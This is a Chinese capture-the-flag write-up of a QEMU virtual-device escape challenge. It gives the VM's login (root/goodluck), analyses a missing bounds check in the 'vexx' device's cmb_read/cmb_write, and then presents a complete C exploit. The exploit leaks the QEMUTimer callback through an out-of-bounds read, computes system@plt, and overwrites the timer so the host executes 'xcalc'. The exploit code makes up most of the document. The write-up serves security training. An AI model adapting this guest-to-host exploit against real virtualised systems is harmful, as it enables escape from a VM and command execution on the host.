前言
这题没有去符合, 题目本身不算难.
用户名: root
密码: goodluck
设备逆向
题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方
这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:
可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.
漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write
在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.
同理 vexx_cmb_read 存在越界读
漏洞利用
其实就很简单了直接劫持 QEMUTimer 就行了
exp 如下: 注: 经过测试 pmio 一次只能写一个字节
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/io.h>
#include <sys/mman.h>
uint64_t mmio_addr = 0x00000000febd6000;
uint64_t mmio_size = 0x1000;
uint64_t cmb_addr = 0x00000000febd0000;
uint64_t cmb_size = 0x4000;
void * mmio_base;
void * cmb_base;
uint64_t pmio_base = 0x230;
void mmio_init()
{
int fd = open("/dev/mem", 2);
mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
cmb_base = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
if (cmb_base < 0) puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
printf("[+] mmio_base: %#p\n", mmio_base);
printf("[+] cmb_base: %#p\n", cmb_base);
}
uint32_t mmio_read(uint64_t offset)
{
return *(uint32_t*)(mmio_base + offset);
}
void mmio_write(uint64_t offset, uint64_t val)
{
*(uint64_t*)(mmio_base + offset) = val;
}
uint32_t cmb_read(uint64_t offset)
{
return *(uint32_t*)(cmb_base + offset);
}
void cmb_write(uint64_t offset, uint32_t val)
{
*(uint32_t*)(cmb_base + offset) = val;
}
void pmio_init()
{
if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
}
uint32_t pmio_read(uint32_t addr)
{
return inl(pmio_base + (addr - 0x230));
}
void pmio_writel(uint32_t addr, uint32_t val)
{
outl(val, pmio_base + (addr - 0x230));
}
void pmio_writew(uint32_t addr, uint32_t val)
{
outw(val, pmio_base + (addr - 0x230));
}
void pmio_writeb(uint32_t addr, uint32_t val)
{
outb(val, pmio_base + (addr - 0x230));
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
pmio_init();
/*
puts("[+] outl");
pmio_writel(0x240, 0x38);
puts("[+] outw");
pmio_writew(0x240, 0x38);
*/
puts("[+] outb");
pmio_writeb(0x240, 0x38);
pmio_writeb(0x230, 1);
uint64_t cb_addr = cmb_read(0x100);
printf("[+] cb_addr: %#llx\n", cb_addr);
pmio_writeb(0x240, 0x3c);
pmio_writeb(0x230, 1);
cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
printf("[+] cb_addr: %#llx\n", cb_addr);
printf("[+] system@plt: %#llx\n", system_plt);
pmio_writeb(0x240, 0x40);
pmio_writeb(0x230, 1);
uint64_t arg_addr = cmb_read(0x100);
printf("[+] arg_addr: %#llx\n", arg_addr);
pmio_writeb(0x240, 0x44);
pmio_writeb(0x230, 1);
arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
uint64_t cmd_addr = arg_addr + 0xb90;
printf("[+] arg_addr: %#llx\n", arg_addr);
printf("[+] cmd_addr: %#llx\n", cmd_addr);
pmio_writeb(0x240, 0x38);
pmio_writeb(0x230, 1);
cmb_write(0x100, system_plt&0xffffffff);
pmio_writeb(0x240, 0x3c);
pmio_writeb(0x230, 1);
cmb_write(0x100, (system_plt>>32)&0xffffffff);
pmio_writeb(0x240, 0x40);
pmio_writeb(0x230, 1);
cmb_write(0x100, cmd_addr&0xffffffff);
pmio_writeb(0x240, 0x44);
pmio_writeb(0x230, 1);
cmb_write(0x100, (cmd_addr>>32)&0xffffffff);
char cmd[8] = "xcalc";
pmio_writeb(0x240, 0);
pmio_writeb(0x230, 1);
cmb_write(0, *(uint32_t*)&cmd[0]);
pmio_writeb(0x240, 4);
pmio_writeb(0x230, 1);
cmb_write(0, *(uint32_t*)&cmd[4]);
mmio_write(0x98, 1);
// puts("[-] DEBUG");
// pmio_writeb(0x240, 0x38);
return 0;
}
x
效果如下: